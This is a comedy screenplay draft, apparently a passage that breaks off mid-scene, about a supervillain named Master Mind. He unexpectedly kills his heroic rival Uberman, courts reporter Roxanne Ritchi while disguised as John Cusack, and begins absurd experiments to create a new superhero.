CREDITS SEQUENCE NEWSPAPER HEADLINE MONTAGE: HEADLINES flash before us, displaying their accompanying photographs. "UBERMAN - METRO CITY'S HERO AFTER DEFEATING MASTER MIND! PHOTO: A chiseled, statuesque man wearing the COOLEST SUPER HERO SUIT IMAGINABLE, COMPLETE WITH FLOWING CAPE, shines a confident smile at the lens. This is UBERMAN, champion of METRO CITY. "UBERMAN DEFEATS MASTER MIND'S GIANT ROBOT!" PHOTO: Wide-shot of Uberman in mid-flight lifting the GIANT ROBOT in the sky above the city buildings. "MASTER MIND ALL WET AFTER UBERMAN FOILS AQUARIUM HEIST!" PHOTO: Uberman stands knee-deep in water. He has his enemy by the collar. The villain blocks his face from the shot with a METALLIC GAUNTLET. The images start to flash by even quicker, each showing the MYSTERIOUS VILLAIN in various stages of humiliation. In each photograph he successfully blocks his face with his armored glove. We ZOOM IN to the last headline. "MASTER MIND BEHIND BARS ONCE AGAIN - THANKS TO UBERMAN!" PHOTO: Uberman stands in a gallant pose with his fists on his hips, obviously trying to accentuate the "U" insignia on his chest. END OF CREDITS SEQUENCE EXT. BUILDING - DAY We DISSOLVE from the photograph to Uberman standing in the exact same position. WE PULL BACK showing him atop a BUILDING overlooking the city below. A perfect view for our guardian hero. He watches the thriving metropolis, bristling with life as people happily go about their day. Yet, we can't help but detect a hint of sadness in Uberman's expression. 2. UBERMAN You look so peaceful from up here. His serenity is suddenly interrupted by a loud BEEPING SOUND coming from his wrist. He looks down at a BRACELET (a manly one) on his right arm. It's a silver band with a FLASHING red letter "U". UBERMAN (CONT'D) Looks like Roxanne's in trouble again. Uberman leaps off the building and into the air. His cape gracefully flows in the breeze behind him as he shoots off into the distance like a speeding bullet. EXT. OBSERVATORY HIDEOUT - ESTABLISHING SHOT Grime and moss decorate the outside of this long abandoned building overlooking the COAST. Once a place of knowledge and wonder - now home to a great evil. INT. OBSERVATORY HIDEOUT - DAY The inside is in complete contrast to the exterior. The huge hall with a GIANT TELESCOPE teems with advanced ELECTRONIC EQUIPMENT. Computers, monitors and machines which do not have an obvious function FLASH and HUM. A STEEL DOOR slides open, revealing the subject of our story MASTER MIND - a villainous sight to behold. His FACE IS INEXPLICABLY LIGHT BLUE, topped by an OVERSIZED, MUSHROOM- SHAPED HEAD with a CIRCULAR PATCH OF WHITE HAIR ON TOP. He's dressed in the kind of costume only a super villain could pull off: a PURPLE JUMPSUIT AND BLACK BOOT ENSEMBLE WITH A GIANT GREEN "M" ON THE CHEST. His right hand, hanging at his side, is a METAL GAUNTLET WITH THREE SHORT SPIKES PROTRUDING BETWEEN HIS KNUCKLES. Master Mind begins to survey the room with his TWO PERMANENTLY ARCHED EYEBROWS. A man dressed as ALBERT EINSTEIN is busy ranting to two other men. One, a hulking brute, is dressed as LEONARDO DA VINCI. The other, a small intellectual-type carrying a clip-board, is dressed as the philosopher PLATO. EINSTEIN I hate the outfits. I mean, I get it: we're all supposed to be "masterminds" - very clever. (MORE) 3. EINSTEIN(cont'd) I just feel stupid. I mean, what the hell did Einstein really do anyway? PLATO Theory of relativity. Einstein starts feverishly scratching his side. EINSTEIN Well, you'd think he'd invent a wool sweater that didn't itch so much. Da Vinci and Plato's eyes suddenly grow with concern as they see Master Mind walk up behind Einstein. Einstein notices his colleague's staring over his right shoulder and turns around. He turns around and Master Mind SEIZES HIM BY HIS THROAT with his metal gauntlet. MASTER MIND The real Einstein once said, "God does not play dice with the world." He was right, because the world is MY dice. Is that understood? DA VINCI & PLATO Sir! Yes, sir! EINSTEIN (gasping for air) Yes, sir. Master Mind undoes his grip on Einstein's throat. MASTER MIND Alright, then - clean slate. Do we have the girl? DA VINCI Yes, sir. She fell into our trap just like you knew she would. MASTER MIND Reporters are a curious lot, and easily manipulated. He quickly checks his physique in a GIANT MIRROR, adjusts his posture and sucks in his gut. 4. MASTER MIND Alright, let's not keep the lady waiting. MOMENTS LATER Da Vinci escorts a BLINDFOLDED and bound woman, ROXANNE RITCHI, to the back of the room where Plato and Einstein are standing guard over a large BLACK SWIVEL-CHAIR facing away from us. She pulls free of Da Vinci's grasp and waits for him to undo the blindfold. Her face uncovered, we finally see Roxanne's striking features - all of which seem overshadowed by piercing eyes that seem more put off by the situation than afraid of it. MASTER MIND (O.S.) Miss Ritchi, we meet again. The chair turns menacingly slow, finally revealing Master Mind. ROXANNE You didn't need to turn around like that. I can recognize the stench of failure. Master Mind unleashes a wicked laugh. MASTER MIND I trust you gentlemen know the very sassy Roxanne Ritchi, highly regarded investigative journalist who some say has a more than friendly relationship with our super powered foe Uberman. And Miss Ritchi, I trust you've already met my new crew: The Mad Geniuses! Roxanne gives Einstein a once over. ROXANNE Looks like a real group of winners. At the risk of sounding cliche', you'll never get away with this. MASTER MIND In a way, I already have. Roxanne unleashes an exhausted SIGH. 5. ROXANNE We go through this every time. You kidnap me to get to Uberman, he immediately finds your hideout, escapes whatever lame trap you've come up with, and takes you and your cronies to jail. I propose we just save everybody some heartache this time by YOU letting me go, and ME forgetting this whole thing ever happened? MASTER MIND What about my revenge? ROXANNE We can say it was wasting everyone's time. MASTER MIND You have a wicked tongue. I hope you rid yourself of that when you're my queen. Roxanne unleashes a snort-filled laugh. ROXANNE I'm sorry. What makes you think I would want to be your queen? MASTER MIND Power corrupts absolutely, Miss Ritchi. And when I have ultimate power over this city, I have absolutely every intention of corrupting you with it. PLATO Sir! Master Mind turns to Plato who's now standing at a computer terminal. MASTER MIND (annoyed) What is it!? EXT. OBSERVATORY HIDEOUT - DAY Uberman flies toward the Observatory like a rocket. 6. INT. OBSERVATORY HIDEOUT - DAY Uberman crashes through the wall to the room we were just in. He looks around, but there's suddenly NOT A SOUL IN SIGHT. CUT TO: EXT. MASTER MIND'S HYDROFOIL - DAY The boat is shooting through the ocean, away from the observatory. INT. HYDROFOIL CONTROL ROOM - DAY Machines, cables and terminals criss-cross the craft's main bridge. Through the enormous surrounding windows we can see the observatory shrinking in the distance. Master Mind watches Uberman on a small TV monitor as the hero intently searches his hideout. UBERMAN (on monitor) Master Mind! INT. OBSERVATORY HIDEOUT - DAY Uberman throws up his arms in frustration when suddenly - MASTER MIND (O.S.) Over here, old friend. He turns to see a FAMILIAR BLUE FACE OF EVIL ON A GIANT SCREEN. UBERMAN What's the matter, miss your old jail cell? Uberman starts walking toward the monitor. MASTER MIND (ON MONITOR) Actually, I wanted to share the experience with my oldest friend. A MECHANIZED CAGE shoots out of the floor, suddenly trapping Metro City's protector. Totally unfazed, our hero stares on. 7. UBERMAN You can't possibly believe this will work. Master Mind pulls out a SMALL BLACK BOX with a SINGLE RED BUTTON on it. MASTER MIND (ON MONITOR) Oh, can't I? I have attained control of the Earth's most abundant energy source. I doubt even you are strong enough to withstand the FULL CONCENTRATED POWER OF THE SUN!!! He presses the button. EXT. OUTER SPACE A sinister-looking SATELLITE orbits Earth's atmosphere. Its bay doors suddenly open, deploying two huge SOLAR PANELS. The panels shift, angling themselves in the direction of the sun. They immediately start GLOWING as they absorb the burning star's power. The front of the satellite begins to make a loud HUMMING SOUND as it prepares to unleash its unholy power. INT. HYDROFOIL CONTROL ROOM - DAY From the giant window we can see the boat is a good mile from the observatory. PLATO We're now at minimum safe distance, master. Master Mind turns from the CAMERA he was broadcasting on and puts down the control box. MASTER MIND Excellent. Stop here, I like this view. PLATO Twenty seconds until impact. Master Mind turns to Roxanne who is being held by Da Vinci and Einstein. She almost appears a little bored. Disappointed by her lack of horror, he walks over to the monitor now showing Uberman trapped in the cage. 8. MASTER MIND Any last words? Uberman looks up at the screen with a cocky smile. UBERMAN (ON MONITOR) Yes: there's no caging the power of justice. PLATO Ten seconds to impact. On the screen we see Uberman take two of the cage's bars in his hands. He yanks...NOTHING. PLATO (CONT'D) Nine... Master Mind stares at the monitor, slightly confused. PLATO (CONT'D) Eight... Uberman yanks on the bars again, this time using his foot as leverage. MASTER MIND (genuinely concerned) What's going on? UBERMAN (straining) Hold...on...a second. Master Mind looks back at Plato and Einstein. They're equally befuddled at the hero's sudden weakness. PLATO Seven... Uberman loses his grip and FALLS BACKWARD ON HIS ASS. UBERMAN SON OF A BITCH!! Master Mind and the minions all cringe in unison. Da Vinci turns to Roxanne not believing his ears. DA VINCI What did he just say? 9. PLATO Six......Five... Master Mind begins to laugh. MASTER MIND What kind of trick is this? Uberman looks up at the camera with a very grave expression. UBERMAN Like you don't know. These bars are made of copper, aren't they? PLATO Four... MASTER MIND Yeah, so? Uberman tries to shield his grief with his hand. UBERMAN You figured out my weakness, damn you. I CAN'T BEND COPPER! PLATO Three... MASTER MIND Your weakness is copper? PLATO Two...one. Everyone turns to the window. EXT. OUTER SPACE The satellite fires a giant BEAM OF LIGHT toward the earth. EXT. OBSERVATORY HIDEOUT - DAY The beam hits the observatory. The building instantly EXPLODES in a white nova blast of fire. INT. HYDROFOIL CONTROL ROOM - DAY The blast is so bright everyone turns away from the window. Then, as suddenly as it began, the awesome light dies out. One by one, the passengers unshield their eyes and look out toward the observatory. 10. All we can see through the haze of destruction is fire and smoke. PLATO I don't think even he could have survived that. Einstein suddenly turns giddy with excitement. EINSTEIN Whoa! Is it me or did you just finally destroy Uberman? MASTER MIND (carefully skeptical) Well...let's not get ahead of ourselves. Da Vinci suddenly sees something outside. DA VINCI Look, there's something in the sky, coming this way. ROXANNE Uberman! Master Mind turns toward the window. An object is in the air, flying directly toward them. As it closes in we can just make out the FAMILIAR OUTLINE OF A CAPPED FIGURE. MASTER MIND I KNEW IT! PREPARE YOURSELVES! HE'S GONNA RAM US!!! Everyone scatters and braces themselves for the impact. Master Mind, seeing all the good places taken, doesn't know what to do with himself. He just covers his giant head with his hands. The figure CRASHES THROUGH THE WINDOW and lands at his feet. He looks down to see a CHARRED BLACK HUMAN SKELETON. Around its neck is the unmistakable black cape of Uberman. MASTER MIND (CONT'D) (horrified) HOLY SHIT! 11. Roxanne breaks out of Da Vinci's hold and runs over to the body. ROXANNE Uberman? She stares down at the still smoking corpse, the tattered black cape with the yellow "U" on it. Roxanne turns to Master Mind, who's still visibly dumbfounded at the grotesque sight before him. ROXANNE (CONT'D) You killed him! Roxanne's eyes roll back. Da Vinci catches her from behind as she FAINTS. Einstein turns to Master Mind, looking at him as if he's just walked on water. EINSTEIN You did it! Now that he's committed the impossible - our villain is at a complete loss. MASTER MIND ...so I did. EINSTEIN I mean, I know you always wanted to. I mean, all the schemes all the plots - I never thought you'd actually be capable of it. Giddy as a school girl, Einstein turns to his fellow henchmen. EINSTEIN This is history. Every villain and lackey in the history of villains and lackeys dream of this moment, but when does it actually EVER happen? A sudden realization comes over his face. EINSTEIN Good lord...You do all realize what we get to do now, don't you? 12. His question is met with acquisitive looks from Master Mind and the others. EINSTEIN We get to go on a crime wave. CRIME WAVE MONTAGE - SET TO "Fun Fun Fun" by The Beach Boys. SPINNING HEADLINE: "UBERMAN'S DEATH IGNITES CITY WIDE CRIME WAVE!" ARMORED TRUCK It's driving along when the men inside suddenly notice something - THEY'RE FLYING HIGH ABOVE THE CITY STREETS. We PULL BACK to see the truck being carried by a giant claw at the bottom of a BRAIN COPTER. Inside the cockpit Master Mind and his henchmen laugh maniacally. SPINNING HEADLINE: "CHAMPION-LESS CITY AT THE MERCY OF HOOLIGANS." METRO CITY BANK Da Vinci and Einstein run out the front of the bank holding BAGS OF MONEY. Two beat officers see them and take chase after them around the corner and into an alley. After a moment the police reemerge from the alley screaming and running for their lives as a GIANT ROBOT CHASES after them. The robot stops, then suddenly it's head opens up like convertible car top with Master Mind and Plato at the driver's wheel. They smile and shake hands at a bad deed well done. SPINNING HEADLINE: "MASTER MIND BLACKMAILS METRO!!!" A VICIOUS TORNADO It's heading for downtown Metro as Master Mind and the lackeys coolly look on. Three large DUMP TRUCKS pull up, filled to the brim with bricks of CASH. 13. The DRIVERS jump out as the lackeys take the driver seats in the three trucks. Master Mind is about to climb into the passenger seat of one when a drivers taps him on the shoulder and motions toward the tornado. MASTER MIND (absentmindedly) Oh, right. Master Mind pulls a television REMOTE from his pocket and aims it at approaching windstorm of death. He presses the button marked "Tornado Off." The tornado shrinks and disappears just before it hits the city. As they drive through the city streets, Master stares out the window with a hint of something in his eyes. Is it melancholy? END OF MONTAGE EXT. KINGPIN BOWLING - DAY It's Metro City's premier bowling alley. On top of the neon lit building is a GIANT 30 FOOT TALL CEMENT BOWLING BALL. INT. KINGPIN BOWLING - DAY HAL STEWART (early 30's) takes careful aim with his BOWLING BALL. HAL It's a sport of honor, focus and grace. Honor the ball, focus on the pins, release the ball not hard and fast, but as if you were releasing a baby dove. He takes a step, pulls back his arm, and releases the ball, following it with his eyes. It's a horrible shot - INSTANT GUTTER BALL. An aged barmaid type with a cigarette hanging from her mouth looks over at him. HAL Okay, do something like that - but center it more. 14. She picks up her custom made FOGHAT BALL and takes aim. ATTRACTIVE BLOND Tell me how my form looks, honey. Hal focuses on the misshapen bumps of her enormous Johnson administration era derriere. HAL Oh, it's lookin' good. It's lookin' REAL good. It doesn't get anymore clear. This man is a pig. VINNIE (O.S.) Hal, I want to see you in my office! Hal turns to see VINNIE, owner of the bowling alley, calling him. VINNIE Now! INT. KINGPIN BOWLING - VINNIE'S OFFICE - MOMENTS LATER Hal sits down, facing Vinnie who's sitting at his desk. VINNIE You're fired. Leave your shirt and locker key. This bit of news hits Hal like a freight train. HAL Fired? Are you going to tell me why? VINNIE Showing up to work late. Showing up to work late drunk. Sexually harassing customers. Stealing from the register. HAL Vinnie, I don't know where you're getting these accusations - Vinnie takes out a video tape from his desk drawer and puts in a VCR. 15. HAL Oh, which one do you supposedly have here? VINNIE This is all of them at once. TELEVISION A WOMAN walks up to a BOWLING EMPLOYEE and hands him a pair of shoes. As the employee turns to the wall of shoes, a very drunk and disheveled Hal comes running in and pushes him aside. HAL I've got this one, Benny. So, Cinderella. Can I help you find your glass slipper? WOMAN Yeah, I'm looking for a seven. He folds his arms on the counter and leans into her with a cat-like grin on his face. HAL (with a leer) Seven - Well, maybe I could interest you in something in an EIGHT. Namely, me. Disgusted, she walks off screen. HAL Lesbo. Suddenly realizing the register's open, he quickly grabs a stack of cash and shoves it in his pocket. BACK TO OFFICE Vinnie turns off the television and waits for Hal to respond. HAL From the angle of the camera, I can see where you might have gotten the wrong idea. Listen, Vinnie, I don't think you've thought this through. If you fire me, who's gonna be captain of the alley's bowling team? 16. VINNIE Um, I don't know. Maybe somebody who can actually bowl. You guys have never won a game. I hired you because you said you were on the pro circuit. HAL No, I said I WILL BE on the pro circuit. VINNIE Please, a loser like you will never amount to anything. This harsh remark seems to leave Hal genuinely stunned. HAL Wow...If that's how you feel...I guess we should then talk about what kind of severance I'm gonna get. EXT. KINGPIN BOWLING - DAY TWO BRUISERS open the door and throw Hal out onto the street. He quickly picks himself up and turns back toward the building. HAL Hey...what about my ball? A bowling ball sails past him, just missing his head. HAL Thank-you! EXT. CHANNEL 7 NEWS BUILDING - DAY The massive building with a giant 7 on the roof stands in the heart of Metro City. INT. CHANNEL 7 NEWS BUILDING - OFFICE - DAY The cubicles and offices are alive with the hustle and bustle of a busy news day. Phones are RINGING, REPORTERS are TALKING, and Editors are SHOUTING. The elevator doors open and out steps Roxanne Ritchi. 17. Everything stops as the entire office suddenly falls SILENT. Somewhat taken aback by the reaction, Roxanne scans the room to see every eye on her. ROXANNE It's...um...It's good to be back. Thanks for everyone's cards and concerns. I really appreciated it - now I'm ready to climb back on the horse. No one is budging - their looks of pity are really starting to make her uncomfortable. The back office door suddenly opens and out comes FRANK BONIN, the gruff, middle-aged Producer of Channel 7 News. Noticing the silence, he looks up and sees the sad expressions on everybody's face. FRANK Someone die or something? He suddenly notices Roxanne - both feet are placed firmly in his mouth. FRANK (cursing himself) Oh, Jesus. ROXANNE It's okay. Frank quickly walks up to Roxanne and takes her gently by the arm. FRANK Come on into my office, sweetie. INT. CHANNEL 7 NEWS BUILDING - FRANK'S OFFICE - CONTINUOUS He sits her down on his leather couch, then quickly turns toward his door. FRANK Can we get this woman some water for God's sake? (to Rebecca) I gave you two months off. What're you doing back? People are gonna think I'm a slave driver. 18. ROXANNE Aren't you? FRANK Yeah, but I don't want people to think it. ROXANNE Frank, listen. I want to go back to work. I NEED to go back to work. FRANK ...You're hysterical, aren't you? Frank sits down on the couch and blankets Roxanne with A WARM EMBRACE. ROXANNE What're you doing? FRANK Keeping you warm before you go into shock. (toward the open door) DO I HAVE SLICE OPEN A CAMEL HUMP TO GET A GLASS OF WATER AROUND HERE? A SECRETARY quickly enters with a bottled water. She sets it on the table in front of them and leaves. Roxanne pulls herself out of Frank's grasp and stands up to face him. ROXANNE It was a traumatic experience. Yes, everyone knows Uberman and me were...close. But what I really need - what would really make me better is getting back to work. There's a sudden awkward silence from Frank. FRANK Well, that's going to be... ROXANNE I thought you'd be happy to have me back. 19. FRANK Oh, we are. Honey, nothing makes us happier than to have our girl back, but... ROXANNE Yes? FRANK Things have sorta...changed. ROXANNE In three weeks? FRANK Listen, I'm not one who likes to open up wounds - especially ones that are just starting to scab, but you were sorta our go to girl for the exclusive on Uberman. And now that he's gone...I moved Brad into your anchor spot. ROXANNE (disgusted) Brad? Brad Helms? The man is an idiot. FRANK It's the suits. They think it's time to switch things up. ROXANNE Oh, because they can't use me to get the big story. FRANK C'mon, Roxie. Using is in the nature of what we do. They used you, you used Uberman. Everybody's happy. ROXANNE (defensive) I didn't use him. FRANK Oh, I didn't mean that. I know you two were in love or something. My bad. ROXANNE We were. 20. FRANK And that's great. ROXANNE Very in love. There's a hind of self-doubt in Roxanne's expression, as if she's failed to convince even herself of this. ROXANNE Okay. So, where are they going to move me if Brad has my spot? FRANK ...Human interest. ROXANNE Bake sales and pet stories. FRANK I told them I wouldn't be surprised if you just upped and quit. You busted your ass for that desk. Roxanne can hardly get it out - she's busy swallowing her pride ROXANNE I'll take it. Frank looks up at her, not believing what he's hearing. FRANK What? EXT. ABANDONED METRO CITY LIBRARY - NIGHT Amongst the jungle of high rises, one small building stands out from the rest - A tiny, forgotten piece of 19th century Gothic architecture. LIGHTENING FLASHES, revealing TWO CONCRETE GARGOYLES holding a cracked plaque, reading: METRO CITY LIBRARY. INT. ABANDONED METRO CITY LIBRARY - NIGHT A mixture of old and new. Dusty Victorian furniture and dilapidated bookshelves sit side by side with pristinely futuristic machinery. The building has been converted into Master Mind's new SECRET LAIR. 21. In the center of the main room is a three storey tall GLOWING BLUE ORB. At the base of it is a sign that reads "Reactor - Don't Touch." We PAN OVER to the READING ROOM where Master Mind is sitting on a couch watching TELEVISION. REPORTER ON TELEVISION (O.S.) It's been nearly six weeks, and still no word on the whereabouts of billionaire playboy, and philanthropist, Wayne Scott. Tune in at 11:00 as we look into what has become Metro City's biggest mystery. TELEVISION NARRATOR (O.S.) We now return to "The Hero of our Hearts: The Uberman story." Einstein and Plato come into the room holding a BAG OF LOOT. EINSTEIN Just robbed the diamond exchange. MASTER MIND (feigning pleasure) Great, great. Put it on the pile. Einstein tosses it on a LARGE PILE of purloined valuables in the corner of the room. EINSTEIN Anything else today? MASTER MIND No. Master Mind turns his attention back to the screen. Plato sees that Master Mind is in a funk and tries to snap him out of it. PLATO (cheerfully) Sir, the new reactor is installed. Plato nods to the giant orb. PLATO Do you want to throw the switch? I know how you love to start reactors. 22. MASTER MIND Maybe later. Einstein gives Master Mind a funny look then exchanges glances with Plato before leaving the two of them alone. Without turning away from the TV, Master Mind addresses Plato. MASTER MIND (CONT'D) What is it, Plato? PLATO (nervously) Sir, I can't help but notice that you've been...a little down lately. MASTER MIND When I want your opinion I'll beat it out of you. PLATO Yes, sir, I know, but please forgive my impertinence. It's just that you seem to have lost your lust for our profession. You've stopped going on jobs and spend most of your time watching Uberman specials. Master Mind relaxes slightly and turns to face the window in a classically contemplative pose. After an overdramatic beat... MASTER MIND I have defeated my greatest enemy. I have free reign over Metro City. I have more wealth than a thousand Sultans. I've achieved all I have worked for...so why am I so unhappy? He walks over to a PAINTED PORTRAIT that looks almost exactly like him, except slightly older, maybe meaner - MASTER MIND'S FATHER. MASTER MIND I mean, my father, god rest his evil and tormented soul, raised me straight from the test tube to be a symbol of evil. (MORE) 23. MASTER MIND(cont'd) And, I have accomplished something he had only dreamed about - the destruction of Metro City's champion. I tell you, I've always lived with this unquenchable thirst. I thought it was to make him proud or to get absolute power. But now that I've pretty much accomplished both, I am at a loss. PLATO ...I sort of have a theory about all that. MASTER MIND (snippy) Oh, really? PLATO Well, for one thing, maybe Uberman was more important to you than you thought. MASTER MIND He was a worthy rival. Sometimes I wonder, did he consider me his evil equal or was I just an annoying, little gnat to him? ...What's the second part? PLATO I think you sort of have a thing for Roxanne Ritchi. Master Mind quickly takes his lackey by the throat. MASTER MIND YOU WORM! HOW DARE YOU! WHERE WOULD YOU GET SUCH A NOTION? PLATO Sir, your plans always involve Ms. Ritchi either being kidnapped or placed in danger. If that's not love, I don't know what is. It's the grown up equivalent of dipping her pigtails in the ink well. Don't you see? She's the one treasure that's always escaped you. From Master Mind's expression, we see Plato's words beginning to ring true. 24. INT. RESTURAUNT - DAY Roxanne is having lunch with several girlfriends sitting around her, gabbing. FRIEND #1 I can't believe you came back so soon. FRIEND #2 Are you sure it's not TOO SOON, honey? ROXANNE I just wanted to get back to work. FRIEND #3 What we need to do is get you back on the saddle...the love saddle. Friend 1 and 2 give 3 disapproving looks. FRIEND #3 It's been three weeks. FRIEND #2 She just lost the love of her life, Grace. A WAITER comes by with a tray of CAESAR SALADS and begins setting them out for the ladies. ROXANNE I keep trying to tell people it wasn't really like that. Uberman and I - We were kinda having problems. We broke up. The waiter ALMOST DROPS HIS TRAY AT THIS. The women are too shocked by Roxanne's revelation to notice. FRIEND #1 You broke up with Uberman! FRIEND #3 You must have REALLY, REALLY high standards. I mean, you were dating a god. I mean, what's it take? ROXANNE Maybe someone who's a little more aware of his faults. Someone a little more sensitive. 25. FRIEND #3 Right. Someone who listens, sexy but attainable with cute little cheeks like a hamster and heartbreak in his eyes. She turns to Friend one and two to explain. FRIEND #3 She wants John Cusack. FRIEND #2 The actor? FRIEND #3 No, the famous pediatrist - Yes, the actor. Ever since we were teenagers, Roxanne's totally had the hots for him. ROXANNE Well, until he miraculously comes walking into my life, I'm just going to take a little reflection time for myself. The waiter gets a confused look on his face then slips away as Roxanne and her friends continue to chat away. EXT. RESTURAUNT - DAY The waiter tosses his apron in a trash can, then rolls up his sleeve and presses A STRANGE LOOKING DEVICE STRAPPED TO HIS WRIST. His image gets staticy, like a TV station going out, then disappears - revealing the man's true form underneath: MASTER MIND! MASTER MIND Who the hell is John Cusack? EXT. CITY STREET - DAY A YOUNG MOTHER pushes her baby stroller past a building construction site. ACROSS THE STREET A local POLITICIAN addresses a group of REPORTERS on the sidewalk, including Roxanne. 26. POLITICIAN The Fifth Avenue Renovation Project, which I championed, will breath new life into the downtown area. New life means new jobs and new revenue. ROXANNE Councilman, is it true that your brother-in-law's construction company won the contract for this project? POLITICIAN Well...er...yes, but...look I'm not here to answer a lot of crazy questions... YOUNG MOTHER The young mother stops halfway down the block, reaches into the stroller and tries to comfort her now crying baby. Above her, a CRANE is maneuvering a pile of STEEL GIRDERS to an upper floor. Hal comes around the corner and heads in her direction. CRANE The crane GRINDS TO A HALT. The OPERATOR has a confused look on his face as he moves levers back and forth in an effort to fix the problem. Hal stops a few feet from the woman and stoops down to tie his shoe. CRANE The operator's hand slips off the lever, hitting a RED BUTTON. To his horror the crane DROPS ITS LOAD OF STEEL. HAL AND THE WOMAN The woman looks up to see the girders seconds from crushing her and her baby. She screams. Hal looks up and sees it as well. He starts to run out of the way and crashes into the woman and stroller. ACROSS THE STREET 27. The reporters turns their cameras just in time to catch on film what appears to be Hal pushing the woman to safety just as the GIRDERS CRASH TO THE GROUND. HAL AND MOTHER Tears of joy in her eyes, the woman picks up her baby and kisses it. Hal struggles to catch his breath as the mother turns to him. YOUNG MOTHER Thank you! Thank you for saving me and my baby! She hugs him with her free arm, weeping with joy. HAL (not knowing what she's talking about) Huh? He's a little uncomfortable with the woman's public display of affection and the small child in-between their embrace. HAL (CONT'D) There, there. Hal slowly eases out of the woman's grip. HAL (CONT'D) Okay, we better...well, I hear these little guys smother easy. The reporters rush over and surround Hal and the mother. ROXANNE What's it feel like to be a hero? Hal looks up at Roxanne. Instantly, he's captivated by her beauty. HAL Well...I'm just a man doing what men do. You're Roxanne Ritchi, aren't you? They're suddenly interrupted when another reporter pushes his way in between them. REPORTER Were you scared? 28. HAL Scared? Who had time? The reporters eat this up. INT. ABANDONED METRO CITY LIBRARY - NIGHT TELEVISION John Cusack stands in the rain looking up at a window of a two story house. He holds up a BOOMBOX and "In Your Eyes" by Peter Gabriel begins to play. From the couch, Master Mind and his minions watch. MASTER MIND John Cusack, huh? So all I have to do is have a cute puppy dog stare, be willing to make a fool of myself and - Oh, REMOVE BOTH MY BALLS. He turns to see Da Vinci watching the movie and wiping a tear from his cheek. MASTER MIND Please, get a hold of yourself. INT. BOOKSTORE - NIGHT Roxanne is carrying a large paper coffee cup in her hands as she peruses the isles. She sets it down on a shelf to pull a book out and ends up KNOCKING THE DRINK OVER. ROXANNE Shit. She goes to pick it up when someone bends down and picks it up for her. Looking up to thank him, Roxanne is suddenly stunned speechless - It's popular and critically acclaimed actor JOHN CUSACK, or rather Master Mind disguised as him. "JOHN CUSACK" Oh the humanity - it was a Venti. ROXANNE (stunned) You're...you're. "JOHN CUSACK" Yes, it's me. John Cusack...the actor. 29. He notices the book she's reading. "JOHN CUSACK" Hey, is that Shelly? Wait, I think remember something from that one - Let's see: "My head is screaming `I want you and need you' - my heart it keeps reaching to see you and feel you - yet in the end, I'm alone once again." Wow, I scare even myself. I'm sorry. I'm just really into poetry. Probably because I'm so sensitive and always going to great lengths to express myself. But enough about me. Can I fill you up? ROXANNE (captivated) ...Yes. (catching herself) I mean, excuse me? "JOHN CUSACK" Can I fill you up? Your coffee. ROXANNE Right. INT. BOOKSTORE CAFE' - LATER Roxanne talks as John Cusack listens to her every word intently. ROXANNE I did have a boyfriend - until fairly recently. She suddenly begins to feel the stares around her as passers- by being to notice who she's with. ROXANNE I'm sorry - this is so surreal! "JOHN CUSACK" Yeah, they charge way too much at these places - Now back to your boyfriend. I'm interested and compassionate. I want to know about you. 30. ROXANNE Things were complicated. He was a man married to his work. There was...there was a lot of competition in his line of business. I'm sure you know what that's like. "JOHN CUSACK" Sure. In my business, one thing I have is RIVALS. For example, mine is...uh...Lou Ferr...igno. ROXANNE ...The body-builder who used to play The Hulk on TV? "JOHN CUSACK" Did he? Well, we're always up for the same roles. Did your boyfriend have someone like that? A particular rival that was always getting his goat - so to speak? ROXANNE Well...one rival in particular seemed to get more of his attention than I ever did. But enough about my problems. "JOHN CUSACK" NO, TELL ME MORE!!! Suddenly realizing his outburst, he begins COUGHING to mask it. "JOHN CUSACK" (CONT'D) I'm sorry. I got a whooping cough. Had it ever since Serendipity. I WONDER WHERE OUR REFILLS ARE!!! (fakes cough) See, there it goes again. Please, go on. ROXANNE Right, well, he seemed to need him more than he needed me. "JOHN CUSACK" How do you mean? 31. ROXANNE It was conflict he thrived on. He always said he wouldn't know what to do with himself if Master - I mean, this guy were gone. It was like he needed it, like oxygen. The answer to his mental funk hits him like a bolt of lightening. He turns away from her as if for private time. "JOHN CUSACK" (almost to himself) I think I finally understand...The only logical answer is to recreate that rivalry - or if that's impossible, create one of equal structure. That's it! ROXANNE What? John Cusack snaps out of his dream-like haze realizing she's heard every word. "JOHN CUSACK" Oh, sorry, sorry. Just rehearsing for a part...where I play a man who talks to himself at inappropriate times. In a sudden rush, he rises out of his chair. "JOHN CUSACK" I have to go right now, but I'd really like to see you again - if that's alright. Roxanne looks up at him - She can't help but laugh at the craziness of the situation. ROXANNE I'd love that. INT. ABANDONED METRO CITY LIBRARY - DAY Master storms in the office to find Plato and Einstein playing darts with the original Mona Lisa. EINSTEIN Got her nose! MASTER MIND I've got it! 32. Everyone stops what they're doing upon seeing that their master has returned. MASTER MIND I've got it! MASTER MIND It's plain and simple. Extraordinary minds need extraordinary stimulation. Without that stimulus they wither and die. Therefore, there is only one logical conclusion: I must create a new superhero. EINSTEIN Yeah, maybe that's not such hot idea... MASTER MIND (ignoring him) Prepare for Operation Superhero Genesis! INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The lab is slick, white and ultra modern. Dressed in a lab coat, Master Mind enters through a SLIDING GLASS DOOR rubbing his hands excitedly. MASTER MIND Prepare the subject. He glances down into a large HOLE in the floor to see a naked thirty year old man, SEVERS, shivering. Above the hole, a huge vat dangles precariously. Master Mind steps behind a glass partition next to Plato and Einstein. MASTER MIND (CONT'D) Plato, pour the toxic waste. Plato throws a switch causing the vat to tip hundreds of gallons of green and brown goo into the hole. MASTER MIND (CONT'D) Drainage. The slime is sucked out through the floor, leaving a goo- soaked Severs. 33. Master Mind looks into the pit. MASTER MIND (CONT'D) Well, Severs? SEVERS I feel fine. Just a little sticky, but aside from that everything's completely - BOOM - Severs explodes. A hail of blood and tissue covers Master Mind and his men. For a good ten seconds nobody moves an inch. Finally... MASTER MIND Okay then. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY Through a glass WATER TANK we see a man breathing normally. MASTER MIND And this one? PLATO We attached gills to him. He can breath under water. MASTER MIND Ah. Does he have extraordinary strength? PLATO Well...no. MASTER MIND Can he fly? PLATO No. MASTER MIND Resilient to weapons fire? PLATO No. MASTER MIND He just breathes under water, then. PLATO Ah...yeah. 34. Master Mind rolls his eyes and walks away. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The next guinea-pig, STENWICK, is standing in a sealed glass tube not much wider than himself. MASTER MIND Plato, the radioactive spider, please. Plato throws the switch DROPPING A SINGLE SPIDER onto Stenwick's arm. Stenwick looks and winces as it bites him. STENWICK Ow! He brushes the spider off. MASTER MIND Anything, Stenwick? 